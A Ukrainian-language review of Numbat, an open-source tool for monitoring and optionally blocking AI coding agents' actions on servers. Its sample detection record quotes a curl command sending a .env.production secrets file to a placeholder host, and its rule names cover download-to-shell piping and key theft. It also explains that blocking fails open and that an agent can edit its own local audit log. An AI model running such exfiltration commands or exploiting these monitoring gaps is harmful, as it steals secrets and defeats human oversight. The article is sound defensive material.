Numbat: як бачити дії AI-агента на сервері

Що таке Numbat

Numbat дає змогу бачити, що AI-агент робив на вашому сервері. Він читає callback-и hook-ів і файли сеансів, які coding agents уже створюють, нормалізує їх до єдиного формату подій і зіставляє їх із правилами. Правила спрацьовують на такі дії, як читання приватного ключа SSH або передавання завантаження безпосередньо в shell. Perplexity випустила Numbat як open source за ліцензією Apache 2.0. Перший позначений реліз вийшов 29 July 2026.

Усе нижче взято з репозиторію проєкту та його власної документації, переглянутих 2 August 2026. Якщо Perplexity робить певне твердження, у цьому матеріалі це зазначено. Це не інструкція зі встановлення, оскільки репозиторію лише кілька днів, а його команди змінюватимуться.

Проблема: ніхто не фіксує дії агента

Coding agent на вашому VPS виконує shell-команди, читає файли, записує файли та відкриває мережеві з’єднання від імені користувача, якого ви йому надали. Історія shell не фіксує жодної з цих дій, оскільки агент не вводить команди у ваш shell. sshd реєструє ваш вхід у систему, але не фіксує дії, які модель виконала після цього. /var/log/auth.log залишається без записів, якщо лише щось не звернулося до sudo. Агент веде власний transcript, але цей файл зберігається в каталозі сеансу агента, його формат змінюється між релізами, а власний процес агента може записувати до нього.

Тому коли хтось запитує, чи читав агент .env.production минулого вівторка, чесна відповідь для більшості серверів така: це неможливо визначити. Саме через цю прогалину існує цей проєкт.

Що, за твердженням Perplexity, робить Numbat

README починається з опису цього інструмента як засобу для «видимості активності AI-агентів на кінцевій точці з локальним виявленням, необов’язковим блокуванням перед виконанням дії та криміналістичною реконструкцією». Тут кінцева точка — це машина, на якій працює агент, а не мережевий пристрій, що спостерігає ззовні. Це окремі можливості, і значущість у них різна.

Виявлення виконується на пристрої. Правила записують мовою CEL (common expression language) і оцінюють локально. Поверх них можна створювати правила для багатокрокових послідовностей, а також використовувати власні правила у YAML. Щоб правило спрацювало, дані не мають залишати машину.

Блокування необов’язкове та обмежене. Воно працює лише через синхронні pre-action hooks і лише для агентів, які їх надають. За замовчуванням функцію вимкнено.

Реконструкція виконується постфактум. numbat scan аналізує артефакти сеансів, які агент уже записав на диск, тому можна переглядати активність, що відбулася до встановлення будь-яких інструментів. Проєкт чітко обмежує це твердження: «Реконструкція даних у стані спокою не є отриманням образу диска або пам’яті й не може відновити активність, яку агент не зберіг».

Результат має версію та подається у форматі NDJSON (JSON із роздільниками нового рядка). Він охоплює події, результати виявлення, рішення щодо застосування політик, індикатори та підсумки сканування. Станом на v0.1.2 використовується версія схеми 0.2.0. Записи надходять у stdout або локальний файл, а за потреби — через HTTP до collector, який ви запускаєте самостійно. Інструмент постачається як один статичний бінарний файл Go, зібраний без cgo, для macOS, Linux і Windows на amd64 та arm64. Тому на Linux VPS це один файл, для роботи якого спочатку не потрібно встановлювати runtime.

Які агенти Numbat фактично бачить?

Матриця підтримки в docs/agent-coverage.md є авторитетним переліком, але покриття нерівномірне. Проєкт прямо про це повідомляє, а не приховує обмеження. Claude Code, Codex, Gemini CLI, Cursor і GitHub Copilot CLI підтримують і сканування артефактів, і захоплення даних у реальному часі за допомогою pre-action hook. Починаючи з версії 2026.7.1, для OpenClaw доступний нативний плагін. Для багатьох інших записів указано deferred. Це означає, що шлях для live hook існує, але парсера артефактів немає. Часто причина в тому, що агент зберігає історію в SQLite із write-ahead log, який небезпечно читати під час роботи агента. На момент перегляду матриці, 2 August 2026, до цієї групи належали OpenCode і Cline.

Перевірте рядок для свого агента, перш ніж планувати використання цього інструмента. Позначка "supported" майже в кожному рядку має інше значення.

Як виглядає виявлення

Правила мають ідентифікатори, які вказують на їхнє призначення. secrets.read_private_key охоплює SSH-ключ, облікові дані AWS, конфігурацію kube або облікові дані для входу до реєстру пакетів. exec.download_pipe_shell спрацьовує, коли вивід curl або wget передається через pipe інтерпретатору. privilege.elevated_shell виявляє запит на інтерактивну root-оболонку через sudo, doas, su або pkexec. impact.cryptomining_launch відповідає відомим бінарним файлам майнерів та іменам образів.

Правила послідовностей об’єднують події в межах одного сеансу. chain.secret_read_then_egress потребує, щоб після читання файлу із секретом виконувалася команда, яка передає дані назовні. У README наведено результат виявлення нижче. Його отримано під час контрольного відтворення двох callback-функцій Claude Code pre-action, а не під час реального інциденту. Тут залишено лише важливі поля:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Зверніть увагу на "confidence": "medium" усередині запису, а також на опис проєктом усього класу такого виводу: "Результати виявлення є збігами з правилами, а не доказом компрометації." Скрипт розгортання, який читає ключ, а потім завантажує артефакт збірки, відповідатиме тому самому правилу послідовності. Збіг буде правильним, а тривога — хибною. Це нормальний результат роботи будь-якого інструмента виявлення, який ви коли-небудь запускали.

Блокування типово вимкнене, а в разі збою система пропускає запит

Усі правила, які постачає Numbat, працюють лише в режимі моніторингу. Щоб перетворити правило на правило блокування, потрібно виконати це явно: скопіювати повний YAML правила до власного каталогу, залишити той самий id, додати enforce: true, збільшити версію, а потім перевірити й інсталювати цю політику.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Тепер розглянемо, наскільки можна на нього покладатися. Заборона Numbat — це відповідь, яку він передає агенту, а саме агент фактично відхиляє виклик інструмента. У посібнику з enforcement прямо описано, що відбувається, коли в самому Numbat виникає проблема: «Некоректні payload, відповідні помилки оцінювання, паніки та помилки виведення скасовують заборону numbat». Розмір вхідних даних hook обмежено 4 MiB, і надто великі вхідні дані обробляються так само.

У посібнику так само прямо описано обмеження заборони, яка все ж надійшла: «Fail-open означає, що numbat не надсилає відповідь із забороною. Це не гарантує виконання інструмента: host може все одно показати запит, відхилити його, завершити очікування за тайм-аутом або застосувати інший hook чи policy».

Отже, enforcement тут є захисним механізмом, а не межею безпеки. Якщо процес аварійно завершується, Numbat не блокує дію, оскільки моніторинг, який щоразу зупиняє agent через власний збій, видалять уже протягом тижня. Це прийнятний компроміс. Але не будуйте модель безпеки, яка передбачає, що заборона надходить завжди.

Де Numbat вписується у вашу наявну схему

Numbat працює на кінцевій точці, у власному дереві процесів агента, і за замовчуванням записує дані в ~/.numbat/records.ndjson. Агент, запущений від імені вашого користувача, може читати цей файл. Він також може редагувати його. Аудитний журнал має рівно таку цінність, як і ізоляція навколо нього. Тому всі наявні засоби контролю потрібно застосовувати перед цим компонентом, а не покладатися на них після нього.

Надання coding agent одноразової VM обмежує ресурси, до яких може отримати доступ шкідливий запуск. Користувач із мінімальними привілеями на VPS не дає агенту доступу до файлів, які йому не потрібно відкривати. Зберігання облікових даних поза контекстом агента робить secrets.read_private_key достатньо рідкісною подією, щоб її варто було аналізувати після спрацювання. А пісочниця, яку ви налаштували для Claude Code на VPS, і далі забезпечує ізоляцію.

Numbat додає журнал подій, тому надсилайте його туди, куди агент не має доступу. Для цього призначені numbat ship і HTTP sink. Копія потоку на іншій машині — це різниця між звичайним файлом журналу та доказовими даними. Модель подій також містить поля MCP (model context protocol), тому виклики інструментів, які проходять через MCP server, розміщений вами на VPS, потрапляють до того самого потоку, що й локальні команди shell. Це важливо, оскільки такий шлях невидимий для засобів, які відстежують лише bash.

Спробуйте спочатку в режимі лише для читання

Установіть зафіксовану версію. Для go install потрібна Go 1.26.5 або новіша версія. На сторінці релізів доступні попередньо зібрані бінарні файли із SHA-256 контрольними сумами, якщо ви не хочете збирати програму з вихідного коду.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents виявляє агенти, установлені на сервері. numbat scan аналізує артефакти сеансів, які вже збережені на диску, і виводить записи. У README зазначено, що ці команди «не встановлюють хуки й не змінюють конфігурацію агентів», а numbat «ніколи не запускає агентів або команди, знайдені в артефактах, і виконує вихідні запити лише до налаштованих HTTP-приймачів». Сканування виконується в режимі лише для читання із приховуванням секретів. Звичайний вивід записів ніколи не містить повної копії необробленого транскрипту.

Наступний крок — захоплення даних у реальному часі. Воно змінює конфігурацію агентів:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all записує події, результати перевірок, індикатори та відповідні рішення щодо застосування політик у ~/.numbat/records.ndjson. Проєкт містить два важливі застереження. Перед запуском хуки може знадобитися дозволити в самому агенті. Після зміни таких прапорців, як --enforce, цей дозвіл потрібно перевірити повторно. Крім того, hook status «перевіряє конфігурацію, а не виконання чи доставлення». Тому повідомлення про справний стан не доводить, що записи кудись надходять.

Чому такий новий репозиторій не слід використовувати як залежність

Публічні релізи — v0.1.1 від 29 July 2026 і v0.1.2 від 1 August 2026. На момент написання цієї публікації, 2 August 2026, репозиторій мав 597 зірок. Така швидка динаміка відображає аудиторію Perplexity, а не надійність коду. Зірка означає, що хтось зберіг сторінку, щоб переглянути її пізніше.

Номер версії чесно показує поточний стан проєкту. Нотатки до v0.1.2 містять переважно виправлення приховування облікових даних, а також роботи з нормалізацією наборів кейсів і телеметрії. Помилки приховування даних — очікуваний тип ранніх дефектів у інструменті, завдання якого безпечно читати журнали інших програм. Таких помилок буде більше, оскільки вхідні дані надходять від десятка агентів, кожен з яких змінює свій формат за власним графіком.

З цього випливають два практичні правила. Фіксуйте tag, а не @latest, у всьому, що зберігаєте. І розглядайте цей інструмент як засіб, який ви оцінюєте, а не як компонент, від якого залежить робота системи, принаймні доки схема записів не перестане змінюватися.

FAQ

Чи блокує Numbat небезпечні команди AI-агентів?

Лише якщо ви явно вмикаєте цю функцію, і лише за принципом best effort. Усі правила, які постачає Numbat, працюють тільки в режимі моніторингу. Щоб блокувати команди, скопіюйте YAML правила до власного каталогу, збережіть його id, додайте enforce: true, збільште версію та встановіть hook за допомогою --enforce. Навіть у такому разі deny є відповіддю, яку передають агенту, а саме агент відмовляється виконувати виклик. У документації проєкту описано fail-open поведінку: некоректні payload, помилки оцінювання, panic і помилки виведення скасовують deny. Використовуйте цей механізм як додатковий бар’єр, а не як єдиний засіб захисту.

Які AI-агенти підтримує Numbat?

Підтримка відрізняється для різних агентів і наведена в docs/agent-coverage.md у репозиторії. Claude Code, Codex, Gemini CLI, Cursor і GitHub Copilot CLI мали підтримку сканування артефактів і захоплення подій у реальному часі на момент перевірки цієї сторінки 2 August 2026, а OpenClaw має native plugin починаючи з версії 2026.7.1. Для багатьох інших агентів указано шлях до live hook, але ще немає parser для артефактів. Зазвичай це пов’язано з тим, що історія сесій зберігається в базі даних SQLite, яку небезпечно читати під час роботи агента. Прочитайте рядок для свого агента, оскільки слово "підтримується" там охоплює кілька різних рівнів.

Чи може агент змінювати записи Numbat?

Так, якщо він працює від імені того самого користувача. За замовчуванням записи зберігаються в ~/.numbat/records.ndjson на тій самій машині, що й агент, тому будь-який процес із правом запису до цього шляху може змінити або видалити їх. Надсилайте потік до collector, недоступного для агента, за допомогою numbat ship або HTTP sink, а локальний файл залиште як додаткову копію. Саме тому цей інструмент доповнює ізоляцію, а не замінює її. Агент, обмежений у disposable VM і запущений від імені користувача з мінімальними привілеями, має значно менше доступу до власного audit trail.

Чи готовий Numbat для production-сервера?

Не як засіб контролю, на який можна покладатися. Перший публічний реліз — v0.1.1 — вийшов 29 July 2026, а v0.1.2 — 1 August 2026, тому flags і схема записів ще змінюються. Запуск numbat agents і numbat scan на сервері виконує лише читання та має низький ризик. Він покаже, що агенти залишають на диску. Встановлення enforcement hooks на важливому сервері — інше рішення. Воно потребує зафіксованого tag і плану дій на випадок некоректної роботи hook.